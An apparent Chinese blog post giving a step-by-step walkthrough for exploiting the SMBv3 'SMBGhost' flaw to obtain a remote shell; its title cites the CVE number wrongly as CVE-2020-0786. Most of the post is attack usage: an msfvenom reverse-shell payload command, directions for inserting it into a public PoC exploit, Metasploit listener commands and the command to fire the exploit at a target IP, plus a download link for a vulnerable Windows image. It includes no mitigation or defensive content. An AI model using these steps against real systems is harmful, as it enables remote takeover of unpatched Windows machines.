首页 > 技术文章 > CVE-2020-0786(永恒之黑) GetShell

Waffle 2021-10-15 23:55 原文

描述

Microsoft服务器消息块3.1.1(SMBv3)协议处理某些请求的方式中存在一个远程执行代码漏洞,也称为“ Windows SMBv3客户端/服务器远程执行代码漏洞”。

影响

Windows 10 1903版(基于x64的系统)
Windows 10 1903版(基于x64的系统)
Windows 10 1903版(基于ARM64的系统)
Windows 10 1909版(基于x64的系统)
Windows 10 1909版(基于x64的系统)
Windows 10 1909版(基于ARM64的系统)
Windows Server 1903版(服务器核心安装)
Windows Server 1909版(服务器核心安装)

存在漏洞的镜像

ed2k://|file|cn_windows_10_consumer_editions_version_1903_x64_dvd_8f05241d.iso|4905476096|F28FDC23DA34D55BA466BFD6E91DD311|/

POC/EXP

https://github.com/chompie1337/SMBGhost_RCE_PoC

利用

使用生成反弹shellPayload

msfvenom -a x64 --platform windows -p windows/x64/shell_reverse_tcp LHOST=ServerIP LPORT=Serverport -f python

添加Payload到exploit.py in USER_PAYLOAD 代码块大约在92行
修改buf为USER_PAYLOAD 或修改大约292行中的USER_PAYLOAD 为buf

使用msf监听等待反弹shell

 msfconsole
 use exploit/multi/handler     //使用监听模块
 set payload windows/x64/shell_reverse_tcp //设置paload需与生payload时使用模块相同
 set lhost localhost         //设置反弹serverIP 在内网环境使用本机IP即可//与payload相同
 set lport 任意post与payload相同即可
 run                       //开始监听

使用Python3执行exp

 python3 exploit.py -ip 目标机器ip

当进行到Press a key to execute shellcode!时,使用回车键执行反弹shell
可以看到msf中已经接收到了反弹回来的shell
可能出现蓝屏大约2-3次即可获得shell

推荐阅读